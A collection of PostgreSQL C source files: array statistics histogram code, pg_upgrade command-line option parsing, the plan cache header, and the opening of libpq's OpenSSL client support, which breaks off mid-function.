stats->numvalues[slot_idx] = num_mcelem;
/* We are storing values of element type */
stats->statypid[slot_idx] = extra_data->type_id;
stats->statyplen[slot_idx] = extra_data->typlen;
stats->statypbyval[slot_idx] = extra_data->typbyval;
stats->statypalign[slot_idx] = extra_data->typalign;
slot_idx++;
}
/* Generate DECHIST slot entry */
count_items_count = hash_get_num_entries(count_tab);
if (count_items_count > 0)
{
int num_hist = stats->attr->attstattarget;
DECountItem **sorted_count_items;
int j;
int delta;
int64 frac;
float4 *hist;
/* num_hist must be at least 2 for the loop below to work */
num_hist = Max(num_hist, 2);
/*
* Create an array of DECountItem pointers, and sort them into
* increasing count order.
*/
sorted_count_items = (DECountItem **)
palloc(sizeof(DECountItem *) * count_items_count);
hash_seq_init(&scan_status, count_tab);
j = 0;
while ((count_item = (DECountItem *) hash_seq_search(&scan_status)) != NULL)
{
sorted_count_items[j++] = count_item;
}
qsort(sorted_count_items, count_items_count,
sizeof(DECountItem *), countitem_compare_count);
/*
* Prepare to fill stanumbers with the histogram, followed by the
* average count. This array must be stored in anl_context.
*/
hist = (float4 *)
MemoryContextAlloc(stats->anl_context,
sizeof(float4) * (num_hist + 1));
hist[num_hist] = (double) element_no / (double) nonnull_cnt;
/*----------
* Construct the histogram of distinct-element counts (DECs).
*
* The object of this loop is to copy the min and max DECs to
* hist[0] and hist[num_hist - 1], along with evenly-spaced DECs
* in between (where "evenly-spaced" is with reference to the
* whole input population of arrays). If we had a complete sorted
* array of DECs, one per analyzed row, the i'th hist value would
* come from DECs[i * (analyzed_rows - 1) / (num_hist - 1)]
* (compare the histogram-making loop in compute_scalar_stats()).
* But instead of that we have the sorted_count_items[] array,
* which holds unique DEC values with their frequencies (that is,
* a run-length-compressed version of the full array). So we
* control advancing through sorted_count_items[] with the
* variable "frac", which is defined as (x - y) * (num_hist - 1),
* where x is the index in the notional DECs array corresponding
* to the start of the next sorted_count_items[] element's run,
* and y is the index in DECs from which we should take the next
* histogram value. We have to advance whenever x <= y, that is
* frac <= 0. The x component is the sum of the frequencies seen
* so far (up through the current sorted_count_items[] element),
* and of course y * (num_hist - 1) = i * (analyzed_rows - 1),
* per the subscript calculation above. (The subscript calculation
* implies dropping any fractional part of y; in this formulation
* that's handled by not advancing until frac reaches 1.)
*
* Even though frac has a bounded range, it could overflow int32
* when working with very large statistics targets, so we do that
* math in int64.
*----------
*/
delta = analyzed_rows - 1;
j = 0; /* current index in sorted_count_items */
/* Initialize frac for sorted_count_items[0]; y is initially 0 */
frac = (int64) sorted_count_items[0]->frequency * (num_hist - 1);
for (i = 0; i < num_hist; i++)
{
while (frac <= 0)
{
/* Advance, and update x component of frac */
j++;
frac += (int64) sorted_count_items[j]->frequency * (num_hist - 1);
}
hist[i] = sorted_count_items[j]->count;
frac -= delta; /* update y for upcoming i increment */
}
Assert(j == count_items_count - 1);
stats->stakind[slot_idx] = STATISTIC_KIND_DECHIST;
stats->staop[slot_idx] = extra_data->eq_opr;
stats->stanumbers[slot_idx] = hist;
stats->numnumbers[slot_idx] = num_hist + 1;
slot_idx++;
}
}
/*
* We don't need to bother cleaning up any of our temporary palloc's. The
* hashtable should also go away, as it used a child memory context.
*/
}
/*
* A function to prune the D structure from the Lossy Counting algorithm.
* Consult compute_tsvector_stats() for wider explanation.
*/
static void
prune_element_hashtable(HTAB *elements_tab, int b_current)
{
HASH_SEQ_STATUS scan_status;
TrackItem *item;
hash_seq_init(&scan_status, elements_tab);
while ((item = (TrackItem *) hash_seq_search(&scan_status)) != NULL)
{
if (item->frequency + item->delta <= b_current)
{
Datum value = item->key;
if (hash_search(elements_tab, (const void *) &item->key,
HASH_REMOVE, NULL) == NULL)
elog(ERROR, "hash table corrupted");
/* We should free memory if element is not passed by value */
if (!array_extra_data->typbyval)
pfree(DatumGetPointer(value));
}
}
}
/*
* Hash function for elements.
*
* We use the element type's default hash opclass, and the default collation
* if the type is collation-sensitive.
*/
static uint32
element_hash(const void *key, Size keysize)
{
Datum d = *((const Datum *) key);
Datum h;
h = FunctionCall1Coll(array_extra_data->hash, DEFAULT_COLLATION_OID, d);
return DatumGetUInt32(h);
}
/*
* Matching function for elements, to be used in hashtable lookups.
*/
static int
element_match(const void *key1, const void *key2, Size keysize)
{
/* The keysize parameter is superfluous here */
return element_compare(key1, key2);
}
/*
* Comparison function for elements.
*
* We use the element type's default btree opclass, and the default collation
* if the type is collation-sensitive.
*
* XXX consider using SortSupport infrastructure
*/
static int
element_compare(const void *key1, const void *key2)
{
Datum d1 = *((const Datum *) key1);
Datum d2 = *((const Datum *) key2);
Datum c;
c = FunctionCall2Coll(array_extra_data->cmp, DEFAULT_COLLATION_OID, d1, d2);
return DatumGetInt32(c);
}
/*
* qsort() comparator for sorting TrackItems by frequencies (descending sort)
*/
static int
trackitem_compare_frequencies_desc(const void *e1, const void *e2)
{
const TrackItem *const * t1 = (const TrackItem *const *) e1;
const TrackItem *const * t2 = (const TrackItem *const *) e2;
return (*t2)->frequency - (*t1)->frequency;
}
/*
* qsort() comparator for sorting TrackItems by element values
*/
static int
trackitem_compare_element(const void *e1, const void *e2)
{
const TrackItem *const * t1 = (const TrackItem *const *) e1;
const TrackItem *const * t2 = (const TrackItem *const *) e2;
return element_compare(&(*t1)->key, &(*t2)->key);
}
/*
* qsort() comparator for sorting DECountItems by count
*/
static int
countitem_compare_count(const void *e1, const void *e2)
{
const DECountItem *const * t1 = (const DECountItem *const *) e1;
const DECountItem *const * t2 = (const DECountItem *const *) e2;
if ((*t1)->count < (*t2)->count)
return -1;
else if ((*t1)->count == (*t2)->count)
return 0;
else
return 1;
}
|
smatsudajp/jpug-doc | contrib/pg_upgrade/option.c | /*
* opt.c
*
* options functions
*
* Copyright (c) 2010-2014, PostgreSQL Global Development Group
* contrib/pg_upgrade/option.c
*/
#include "postgres_fe.h"
#include "miscadmin.h"
#include "getopt_long.h"
#include "pg_upgrade.h"
#include <time.h>
#include <sys/types.h>
#ifdef WIN32
#include <io.h>
#endif
static void usage(void);
static void check_required_directory(char **dirpath, char **configpath,
char *envVarName, char *cmdLineOption, char *description);
#define FIX_DEFAULT_READ_ONLY "-c default_transaction_read_only=false"
UserOpts user_opts;
/*
* parseCommandLine()
*
* Parses the command line (argc, argv[]) and loads structures
*/
void
parseCommandLine(int argc, char *argv[])
{
static struct option long_options[] = {
{"old-datadir", required_argument, NULL, 'd'},
{"new-datadir", required_argument, NULL, 'D'},
{"old-bindir", required_argument, NULL, 'b'},
{"new-bindir", required_argument, NULL, 'B'},
{"old-options", required_argument, NULL, 'o'},
{"new-options", required_argument, NULL, 'O'},
{"old-port", required_argument, NULL, 'p'},
{"new-port", required_argument, NULL, 'P'},
{"username", required_argument, NULL, 'U'},
{"check", no_argument, NULL, 'c'},
{"link", no_argument, NULL, 'k'},
{"retain", no_argument, NULL, 'r'},
{"jobs", required_argument, NULL, 'j'},
{"verbose", no_argument, NULL, 'v'},
{NULL, 0, NULL, 0}
};
int option; /* Command line option */
int optindex = 0; /* used by getopt_long */
int os_user_effective_id;
FILE *fp;
char **filename;
time_t run_time = time(NULL);
user_opts.transfer_mode = TRANSFER_MODE_COPY;
os_info.progname = get_progname(argv[0]);
/* Process libpq env. variables; load values here for usage() output */
old_cluster.port = getenv("PGPORTOLD") ? atoi(getenv("PGPORTOLD")) : DEF_PGUPORT;
new_cluster.port = getenv("PGPORTNEW") ? atoi(getenv("PGPORTNEW")) : DEF_PGUPORT;
os_user_effective_id = get_user_info(&os_info.user);
/* we override just the database user name; we got the OS id above */
if (getenv("PGUSER"))
{
pg_free(os_info.user);
/* must save value, getenv()'s pointer is not stable */
os_info.user = pg_strdup(getenv("PGUSER"));
}
if (argc > 1)
{
if (strcmp(argv[1], "--help") == 0 || strcmp(argv[1], "-?") == 0)
{
usage();
exit(0);
}
if (strcmp(argv[1], "--version") == 0 || strcmp(argv[1], "-V") == 0)
{
puts("pg_upgrade (PostgreSQL) " PG_VERSION);
exit(0);
}
}
/* Allow help and version to be run as root, so do the test here. */
if (os_user_effective_id == 0)
pg_fatal("%s: cannot be run as root\n", os_info.progname);
if ((log_opts.internal = fopen_priv(INTERNAL_LOG_FILE, "a")) == NULL)
pg_fatal("cannot write to log file %s\n", INTERNAL_LOG_FILE);
while ((option = getopt_long(argc, argv, "d:D:b:B:cj:ko:O:p:P:rU:v",
long_options, &optindex)) != -1)
{
switch (option)
{
case 'b':
old_cluster.bindir = pg_strdup(optarg);
break;
case 'B':
new_cluster.bindir = pg_strdup(optarg);
break;
case 'c':
user_opts.check = true;
break;
case 'd':
old_cluster.pgdata = pg_strdup(optarg);
old_cluster.pgconfig = pg_strdup(optarg);
break;
case 'D':
new_cluster.pgdata = pg_strdup(optarg);
new_cluster.pgconfig = pg_strdup(optarg);
break;
case 'j':
user_opts.jobs = atoi(optarg);
break;
case 'k':
user_opts.transfer_mode = TRANSFER_MODE_LINK;
break;
case 'o':
/* append option? */
if (!old_cluster.pgopts)
old_cluster.pgopts = pg_strdup(optarg);
else
{
char *old_pgopts = old_cluster.pgopts;
old_cluster.pgopts = psprintf("%s %s", old_pgopts, optarg);
free(old_pgopts);
}
break;
case 'O':
/* append option? */
if (!new_cluster.pgopts)
new_cluster.pgopts = pg_strdup(optarg);
else
{
char *new_pgopts = new_cluster.pgopts;
new_cluster.pgopts = psprintf("%s %s", new_pgopts, optarg);
free(new_pgopts);
}
break;
/*
* Someday, the port number option could be removed and passed
* using -o/-O, but that requires postmaster -C to be
* supported on all old/new versions (added in PG 9.2).
*/
case 'p':
if ((old_cluster.port = atoi(optarg)) <= 0)
{
pg_fatal("invalid old port number\n");
exit(1);
}
break;
case 'P':
if ((new_cluster.port = atoi(optarg)) <= 0)
{
pg_fatal("invalid new port number\n");
exit(1);
}
break;
case 'r':
log_opts.retain = true;
break;
case 'U':
pg_free(os_info.user);
os_info.user = pg_strdup(optarg);
os_info.user_specified = true;
/*
* Push the user name into the environment so pre-9.1
* pg_ctl/libpq uses it.
*/
pg_putenv("PGUSER", os_info.user);
break;
case 'v':
pg_log(PG_REPORT, "Running in verbose mode\n");
log_opts.verbose = true;
break;
default:
pg_fatal("Try \"%s --help\" for more information.\n",
os_info.progname);
break;
}
}
/* label start of upgrade in logfiles */
for (filename = output_files; *filename != NULL; filename++)
{
if ((fp = fopen_priv(*filename, "a")) == NULL)
pg_fatal("cannot write to log file %s\n", *filename);
/* Start with newline because we might be appending to a file. */
fprintf(fp, "\n"
"-----------------------------------------------------------------\n"
" pg_upgrade run on %s"
"-----------------------------------------------------------------\n\n",
ctime(&run_time));
fclose(fp);
}
/* Turn off read-only mode; add prefix to PGOPTIONS? */
if (getenv("PGOPTIONS"))
{
char *pgoptions = psprintf("%s %s", FIX_DEFAULT_READ_ONLY,
getenv("PGOPTIONS"));
pg_putenv("PGOPTIONS", pgoptions);
pfree(pgoptions);
}
else
pg_putenv("PGOPTIONS", FIX_DEFAULT_READ_ONLY);
/* Get values from env if not already set */
check_required_directory(&old_cluster.bindir, NULL, "PGBINOLD", "-b",
"old cluster binaries reside");
check_required_directory(&new_cluster.bindir, NULL, "PGBINNEW", "-B",
"new cluster binaries reside");
check_required_directory(&old_cluster.pgdata, &old_cluster.pgconfig,
"PGDATAOLD", "-d", "old cluster data resides");
check_required_directory(&new_cluster.pgdata, &new_cluster.pgconfig,
"PGDATANEW", "-D", "new cluster data resides");
#ifdef WIN32
/*
* On Windows, initdb --sync-only will fail with a "Permission denied"
* error on file pg_upgrade_utility.log if pg_upgrade is run inside
* the new cluster directory, so we do a check here.
*/
{
char cwd[MAXPGPATH], new_cluster_pgdata[MAXPGPATH];
strlcpy(new_cluster_pgdata, new_cluster.pgdata, MAXPGPATH);
canonicalize_path(new_cluster_pgdata);
if (!getcwd(cwd, MAXPGPATH))
pg_fatal("cannot find current directory\n");
canonicalize_path(cwd);
if (path_is_prefix_of_path(new_cluster_pgdata, cwd))
pg_fatal("cannot run pg_upgrade from inside the new cluster data directory on Windows\n");
}
#endif
}
static void
usage(void)
{
printf(_("pg_upgrade upgrades a PostgreSQL cluster to a different major version.\n\
\nUsage:\n\
pg_upgrade [OPTION]...\n\
\n\
Options:\n\
-b, --old-bindir=BINDIR old cluster executable directory\n\
-B, --new-bindir=BINDIR new cluster executable directory\n\
-c, --check check clusters only, don't change any data\n\
-d, --old-datadir=DATADIR old cluster data directory\n\
-D, --new-datadir=DATADIR new cluster data directory\n\
-j, --jobs number of simultaneous processes or threads to use\n\
-k, --link link instead of copying files to new cluster\n\
-o, --old-options=OPTIONS old cluster options to pass to the server\n\
-O, --new-options=OPTIONS new cluster options to pass to the server\n\
-p, --old-port=PORT old cluster port number (default %d)\n\
-P, --new-port=PORT new cluster port number (default %d)\n\
-r, --retain retain SQL and log files after success\n\
-U, --username=NAME cluster superuser (default \"%s\")\n\
-v, --verbose enable verbose internal logging\n\
-V, --version display version information, then exit\n\
-?, --help show this help, then exit\n\
\n\
Before running pg_upgrade you must:\n\
create a new database cluster (using the new version of initdb)\n\
shutdown the postmaster servicing the old cluster\n\
shutdown the postmaster servicing the new cluster\n\
\n\
When you run pg_upgrade, you must provide the following information:\n\
the data directory for the old cluster (-d DATADIR)\n\
the data directory for the new cluster (-D DATADIR)\n\
the \"bin\" directory for the old version (-b BINDIR)\n\
the \"bin\" directory for the new version (-B BINDIR)\n\
\n\
For example:\n\
pg_upgrade -d oldCluster/data -D newCluster/data -b oldCluster/bin -B newCluster/bin\n\
or\n"), old_cluster.port, new_cluster.port, os_info.user);
#ifndef WIN32
printf(_("\
$ export PGDATAOLD=oldCluster/data\n\
$ export PGDATANEW=newCluster/data\n\
$ export PGBINOLD=oldCluster/bin\n\
$ export PGBINNEW=newCluster/bin\n\
$ pg_upgrade\n"));
#else
printf(_("\
C:\\> set PGDATAOLD=oldCluster/data\n\
C:\\> set PGDATANEW=newCluster/data\n\
C:\\> set PGBINOLD=oldCluster/bin\n\
C:\\> set PGBINNEW=newCluster/bin\n\
C:\\> pg_upgrade\n"));
#endif
printf(_("\nReport bugs to <<EMAIL>>.\n"));
}
/*
* check_required_directory()
*
* Checks a directory option.
* dirpath - the directory name supplied on the command line
* configpath - optional configuration directory
* envVarName - the name of an environment variable to get if dirpath is NULL
* cmdLineOption - the command line option corresponds to this directory (-o, -O, -n, -N)
* description - a description of this directory option
*
* We use the last two arguments to construct a meaningful error message if the
* user hasn't provided the required directory name.
*/
static void
check_required_directory(char **dirpath, char **configpath,
char *envVarName, char *cmdLineOption,
char *description)
{
if (*dirpath == NULL || strlen(*dirpath) == 0)
{
const char *envVar;
if ((envVar = getenv(envVarName)) && strlen(envVar))
{
*dirpath = pg_strdup(envVar);
if (configpath)
*configpath = pg_strdup(envVar);
}
else
pg_fatal("You must identify the directory where the %s.\n"
"Please use the %s command-line option or the %s environment variable.\n",
description, cmdLineOption, envVarName);
}
/*
* Trim off any trailing path separators because we construct paths by
* appending to this path.
*/
#ifndef WIN32
if ((*dirpath)[strlen(*dirpath) - 1] == '/')
#else
if ((*dirpath)[strlen(*dirpath) - 1] == '/' ||
(*dirpath)[strlen(*dirpath) - 1] == '\\')
#endif
(*dirpath)[strlen(*dirpath) - 1] = 0;
}
/*
* adjust_data_dir
*
* If a configuration-only directory was specified, find the real data dir
* by quering the running server. This has limited checking because we
* can't check for a running server because we can't find postmaster.pid.
*/
void
adjust_data_dir(ClusterInfo *cluster)
{
char filename[MAXPGPATH];
char cmd[MAXPGPATH],
cmd_output[MAX_STRING];
FILE *fp,
*output;
/* If there is no postgresql.conf, it can't be a config-only dir */
snprintf(filename, sizeof(filename), "%s/postgresql.conf", cluster->pgconfig);
if ((fp = fopen(filename, "r")) == NULL)
return;
fclose(fp);
/* If PG_VERSION exists, it can't be a config-only dir */
snprintf(filename, sizeof(filename), "%s/PG_VERSION", cluster->pgconfig);
if ((fp = fopen(filename, "r")) != NULL)
{
fclose(fp);
return;
}
/* Must be a configuration directory, so find the real data directory. */
prep_status("Finding the real data directory for the %s cluster",
CLUSTER_NAME(cluster));
/*
* We don't have a data directory yet, so we can't check the PG version,
* so this might fail --- only works for PG 9.2+. If this fails,
* pg_upgrade will fail anyway because the data files will not be found.
*/
snprintf(cmd, sizeof(cmd), "\"%s/postmaster\" -D \"%s\" -C data_directory",
cluster->bindir, cluster->pgconfig);
if ((output = popen(cmd, "r")) == NULL ||
fgets(cmd_output, sizeof(cmd_output), output) == NULL)
pg_fatal("Could not get data directory using %s: %s\n",
cmd, getErrorText(errno));
pclose(output);
/* Remove trailing newline */
if (strchr(cmd_output, '\n') != NULL)
*strchr(cmd_output, '\n') = '\0';
cluster->pgdata = pg_strdup(cmd_output);
check_ok();
}
/*
* get_sock_dir
*
* Identify the socket directory to use for this cluster. If we're doing
* a live check (old cluster only), we need to find out where the postmaster
* is listening. Otherwise, we're going to put the socket into the current
* directory.
*/
void
get_sock_dir(ClusterInfo *cluster, bool live_check)
{
#ifdef HAVE_UNIX_SOCKETS
/*
* sockdir and port were added to postmaster.pid in PG 9.1. Pre-9.1 cannot
* process pg_ctl -w for sockets in non-default locations.
*/
if (GET_MAJOR_VERSION(cluster->major_version) >= 901)
{
if (!live_check)
{
/* Use the current directory for the socket */
cluster->sockdir = pg_malloc(MAXPGPATH);
if (!getcwd(cluster->sockdir, MAXPGPATH))
pg_fatal("cannot find current directory\n");
}
else
{
/*
* If we are doing a live check, we will use the old cluster's
* Unix domain socket directory so we can connect to the live
* server.
*/
unsigned short orig_port = cluster->port;
char filename[MAXPGPATH],
line[MAXPGPATH];
FILE *fp;
int lineno;
snprintf(filename, sizeof(filename), "%s/postmaster.pid",
cluster->pgdata);
if ((fp = fopen(filename, "r")) == NULL)
pg_fatal("Cannot open file %s: %m\n", filename);
for (lineno = 1;
lineno <= Max(LOCK_FILE_LINE_PORT, LOCK_FILE_LINE_SOCKET_DIR);
lineno++)
{
if (fgets(line, sizeof(line), fp) == NULL)
pg_fatal("Cannot read line %d from %s: %m\n", lineno, filename);
/* potentially overwrite user-supplied value */
if (lineno == LOCK_FILE_LINE_PORT)
sscanf(line, "%hu", &old_cluster.port);
if (lineno == LOCK_FILE_LINE_SOCKET_DIR)
{
cluster->sockdir = pg_strdup(line);
/* strip off newline */
if (strchr(cluster->sockdir, '\n') != NULL)
*strchr(cluster->sockdir, '\n') = '\0';
}
}
fclose(fp);
/* warn of port number correction */
if (orig_port != DEF_PGUPORT && old_cluster.port != orig_port)
pg_log(PG_WARNING, "User-supplied old port number %hu corrected to %hu\n",
orig_port, cluster->port);
}
}
else
/*
* Can't get sockdir and pg_ctl -w can't use a non-default, use
* default
*/
cluster->sockdir = NULL;
#else /* !HAVE_UNIX_SOCKETS */
cluster->sockdir = NULL;
#endif
}
|
smatsudajp/jpug-doc | src/include/utils/plancache.h | <reponame>smatsudajp/jpug-doc<filename>src/include/utils/plancache.h
/*-------------------------------------------------------------------------
*
* plancache.h
* Plan cache definitions.
*
* See plancache.c for comments.
*
* Portions Copyright (c) 1996-2014, PostgreSQL Global Development Group
* Portions Copyright (c) 1994, Regents of the University of California
*
* src/include/utils/plancache.h
*
*-------------------------------------------------------------------------
*/
#ifndef PLANCACHE_H
#define PLANCACHE_H
#include "access/tupdesc.h"
#include "nodes/params.h"
#define CACHEDPLANSOURCE_MAGIC 195726186
#define CACHEDPLAN_MAGIC 953717834
/*
* CachedPlanSource (which might better have been called CachedQuery)
* represents a SQL query that we expect to use multiple times. It stores
* the query source text, the raw parse tree, and the analyzed-and-rewritten
* query tree, as well as adjunct data. Cache invalidation can happen as a
* result of DDL affecting objects used by the query. In that case we discard
* the analyzed-and-rewritten query tree, and rebuild it when next needed.
*
* An actual execution plan, represented by CachedPlan, is derived from the
* CachedPlanSource when we need to execute the query. The plan could be
* either generic (usable with any set of plan parameters) or custom (for a
* specific set of parameters). plancache.c contains the logic that decides
* which way to do it for any particular execution. If we are using a generic
* cached plan then it is meant to be re-used across multiple executions, so
* callers must always treat CachedPlans as read-only.
*
* Once successfully built and "saved", CachedPlanSources typically live
* for the life of the backend, although they can be dropped explicitly.
* CachedPlans are reference-counted and go away automatically when the last
* reference is dropped. A CachedPlan can outlive the CachedPlanSource it
* was created from.
*
* An "unsaved" CachedPlanSource can be used for generating plans, but it
* lives in transient storage and will not be updated in response to sinval
* events.
*
* CachedPlans made from saved CachedPlanSources are likewise in permanent
* storage, so to avoid memory leaks, the reference-counted references to them
* must be held in permanent data structures or ResourceOwners. CachedPlans
* made from unsaved CachedPlanSources are in children of the caller's
* memory context, so references to them should not be longer-lived than
* that context. (Reference counting is somewhat pro forma in that case,
* though it may be useful if the CachedPlan can be discarded early.)
*
* A CachedPlanSource has two associated memory contexts: one that holds the
* struct itself, the query source text and the raw parse tree, and another
* context that holds the rewritten query tree and associated data. This
* allows the query tree to be discarded easily when it is invalidated.
*
* Some callers wish to use the CachedPlan API even with one-shot queries
* that have no reason to be saved at all. We therefore support a "oneshot"
* variant that does no data copying or invalidation checking. In this case
* there are no separate memory contexts: the CachedPlanSource struct and
* all subsidiary data live in the caller's CurrentMemoryContext, and there
* is no way to free memory short of clearing that entire context. A oneshot
* plan is always treated as unsaved.
*
* Note: the string referenced by commandTag is not subsidiary storage;
* it is assumed to be a compile-time-constant string. As with portals,
* commandTag shall be NULL if and only if the original query string (before
* rewriting) was an empty string.
*/
typedef struct CachedPlanSource
{
int magic; /* should equal CACHEDPLANSOURCE_MAGIC */
Node *raw_parse_tree; /* output of raw_parser(), or NULL */
const char *query_string; /* source text of query */
const char *commandTag; /* command tag (a constant!), or NULL */
Oid *param_types; /* array of parameter type OIDs, or NULL */
int num_params; /* length of param_types array */
ParserSetupHook parserSetup; /* alternative parameter spec method */
void *parserSetupArg;
int cursor_options; /* cursor options used for planning */
bool fixed_result; /* disallow change in result tupdesc? */
TupleDesc resultDesc; /* result type; NULL = doesn't return tuples */
MemoryContext context; /* memory context holding all above */
/* These fields describe the current analyzed-and-rewritten query tree: */
List *query_list; /* list of Query nodes, or NIL if not valid */
List *relationOids; /* OIDs of relations the queries depend on */
List *invalItems; /* other dependencies, as PlanInvalItems */
struct OverrideSearchPath *search_path; /* search_path used for
* parsing and planning */
Oid planUserId; /* User-id that the plan depends on */
MemoryContext query_context; /* context holding the above, or NULL */
/* If we have a generic plan, this is a reference-counted link to it: */
struct CachedPlan *gplan; /* generic plan, or NULL if not valid */
/* Some state flags: */
bool is_oneshot; /* is it a "oneshot" plan? */
bool is_complete; /* has CompleteCachedPlan been done? */
bool is_saved; /* has CachedPlanSource been "saved"? */
bool is_valid; /* is the query_list currently valid? */
int generation; /* increments each time we create a plan */
/* If CachedPlanSource has been saved, it is a member of a global list */
struct CachedPlanSource *next_saved; /* list link, if so */
/* State kept to help decide whether to use custom or generic plans: */
double generic_cost; /* cost of generic plan, or -1 if not known */
double total_custom_cost; /* total cost of custom plans so far */
int num_custom_plans; /* number of plans included in total */
bool hasRowSecurity; /* planned with row security? */
int row_security_env; /* row security setting when planned */
bool rowSecurityDisabled; /* is row security disabled? */
} CachedPlanSource;
/*
* CachedPlan represents an execution plan derived from a CachedPlanSource.
* The reference count includes both the link from the parent CachedPlanSource
* (if any), and any active plan executions, so the plan can be discarded
* exactly when refcount goes to zero. Both the struct itself and the
* subsidiary data live in the context denoted by the context field.
* This makes it easy to free a no-longer-needed cached plan. (However,
* if is_oneshot is true, the context does not belong solely to the CachedPlan
* so no freeing is possible.)
*/
typedef struct CachedPlan
{
int magic; /* should equal CACHEDPLAN_MAGIC */
List *stmt_list; /* list of statement nodes (PlannedStmts and
* bare utility statements) */
bool is_oneshot; /* is it a "oneshot" plan? */
bool is_saved; /* is CachedPlan in a long-lived context? */
bool is_valid; /* is the stmt_list currently valid? */
TransactionId saved_xmin; /* if valid, replan when TransactionXmin
* changes from this value */
int generation; /* parent's generation number for this plan */
int refcount; /* count of live references to this struct */
MemoryContext context; /* context containing this CachedPlan */
} CachedPlan;
extern void InitPlanCache(void);
extern void ResetPlanCache(void);
extern CachedPlanSource *CreateCachedPlan(Node *raw_parse_tree,
const char *query_string,
const char *commandTag);
extern CachedPlanSource *CreateOneShotCachedPlan(Node *raw_parse_tree,
const char *query_string,
const char *commandTag);
extern void CompleteCachedPlan(CachedPlanSource *plansource,
List *querytree_list,
MemoryContext querytree_context,
Oid *param_types,
int num_params,
ParserSetupHook parserSetup,
void *parserSetupArg,
int cursor_options,
bool fixed_result);
extern void SaveCachedPlan(CachedPlanSource *plansource);
extern void DropCachedPlan(CachedPlanSource *plansource);
extern void CachedPlanSetParentContext(CachedPlanSource *plansource,
MemoryContext newcontext);
extern CachedPlanSource *CopyCachedPlan(CachedPlanSource *plansource);
extern bool CachedPlanIsValid(CachedPlanSource *plansource);
extern List *CachedPlanGetTargetList(CachedPlanSource *plansource);
extern CachedPlan *GetCachedPlan(CachedPlanSource *plansource,
ParamListInfo boundParams,
bool useResOwner);
extern void ReleaseCachedPlan(CachedPlan *plan, bool useResOwner);
#endif /* PLANCACHE_H */
|
smatsudajp/jpug-doc | src/interfaces/libpq/fe-secure-openssl.c | /*-------------------------------------------------------------------------
*
* fe-secure-openssl.c
* OpenSSL support
*
*
* Portions Copyright (c) 1996-2014, PostgreSQL Global Development Group
* Portions Copyright (c) 1994, Regents of the University of California
*
*
* IDENTIFICATION
* src/interfaces/libpq/fe-secure-openssl.c
*
* NOTES
*
* We don't provide informational callbacks here (like
* info_cb() in be-secure.c), since there's no good mechanism to
* display such information to the user.
*
*-------------------------------------------------------------------------
*/
#include "postgres_fe.h"
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include "libpq-fe.h"
#include "fe-auth.h"
#include "libpq-int.h"
#ifdef WIN32
#include "win32.h"
#else
#include <sys/socket.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#ifdef HAVE_NETINET_TCP_H
#include <netinet/tcp.h>
#endif
#include <arpa/inet.h>
#endif
#include <sys/stat.h>
#ifdef ENABLE_THREAD_SAFETY
#ifdef WIN32
#include "pthread-win32.h"
#else
#include <pthread.h>
#endif
#endif
#include <openssl/ssl.h>
#if (SSLEAY_VERSION_NUMBER >= 0x00907000L)
#include <openssl/conf.h>
#endif
#ifdef USE_SSL_ENGINE
#include <openssl/engine.h>
#endif
#include <openssl/x509v3.h>
static bool verify_peer_name_matches_certificate(PGconn *);
static int verify_cb(int ok, X509_STORE_CTX *ctx);
static int verify_peer_name_matches_certificate_name(PGconn *conn,
ASN1_STRING *name,
char **store_name);
static void destroy_ssl_system(void);
static int initialize_SSL(PGconn *conn);
static PostgresPollingStatusType open_client_SSL(PGconn *);
static char *SSLerrmessage(void);
static void SSLerrfree(char *buf);
static int my_sock_read(BIO *h, char *buf, int size);
static int my_sock_write(BIO *h, const char *buf, int size);
static BIO_METHOD *my_BIO_s_socket(void);
static int my_SSL_set_fd(PGconn *conn, int fd);
static bool pq_init_ssl_lib = true;
static bool pq_init_crypto_lib = true;
/*
* SSL_context is currently shared between threads and therefore we need to be
* careful to lock around any usage of it when providing thread safety.
* ssl_config_mutex is the mutex that we use to protect it.
*/
static SSL_CTX *SSL_context = NULL;
#ifdef ENABLE_THREAD_SAFETY
static long ssl_open_connections = 0;
#ifndef WIN32
static pthread_mutex_t ssl_config_mutex = PTHREAD_MUTEX_INITIALIZER;
#else
static pthread_mutex_t ssl_config_mutex = NULL;
static long win32_ssl_create_mutex = 0;
#endif
#endif /* ENABLE_THREAD_SAFETY */
/* ------------------------------------------------------------ */
/* Procedures common to all secure sessions */
/* ------------------------------------------------------------ */
/*
* Exported function to allow application to tell us it's already
* initialized OpenSSL and/or libcrypto.
*/
void
pgtls_init_library(bool do_ssl, int do_crypto)
{
#ifdef ENABLE_THREAD_SAFETY
/*
* Disallow changing the flags while we have open connections, else we'd
* get completely confused.
*/
if (ssl_open_connections != 0)
return;
#endif
pq_init_ssl_lib = do_ssl;
pq_init_crypto_lib = do_crypto;
}
/*
* Begin or continue negotiating a secure session.
*/
PostgresPollingStatusType
pgtls_open_client(PGconn *conn)
{
/* First time through? */
if (conn->ssl == NULL)
{
#ifdef ENABLE_THREAD_SAFETY
int rc;
#endif
#ifdef ENABLE_THREAD_SAFETY
if ((rc = pthread_mutex_lock(&ssl_config_mutex)))
{
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not acquire mutex: %s\n"), strerror(rc));
return PGRES_POLLING_FAILED;
}
#endif
/* Create a connection-specific SSL object */
if (!(conn->ssl = SSL_new(SSL_context)) ||
!SSL_set_app_data(conn->ssl, conn) ||
!my_SSL_set_fd(conn, conn->sock))
{
char *err = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not establish SSL connection: %s\n"),
err);
SSLerrfree(err);
#ifdef ENABLE_THREAD_SAFETY
pthread_mutex_unlock(&ssl_config_mutex);
#endif
pgtls_close(conn);
return PGRES_POLLING_FAILED;
}
conn->ssl_in_use = true;
#ifdef ENABLE_THREAD_SAFETY
pthread_mutex_unlock(&ssl_config_mutex);
#endif
/*
* Load client certificate, private key, and trusted CA certs.
*/
if (initialize_SSL(conn) != 0)
{
/* initialize_SSL already put a message in conn->errorMessage */
pgtls_close(conn);
return PGRES_POLLING_FAILED;
}
}
/* Begin or continue the actual handshake */
return open_client_SSL(conn);
}
/*
* Is there unread data waiting in the SSL read buffer?
*/
bool
pgtls_read_pending(PGconn *conn)
{
return SSL_pending(conn->ssl);
}
/*
* Read data from a secure connection.
*
* On failure, this function is responsible for putting a suitable message
* into conn->errorMessage. The caller must still inspect errno, but only
* to determine whether to continue/retry after error.
*/
ssize_t
pgtls_read(PGconn *conn, void *ptr, size_t len)
{
ssize_t n;
int result_errno = 0;
char sebuf[256];
int err;
rloop:
SOCK_ERRNO_SET(0);
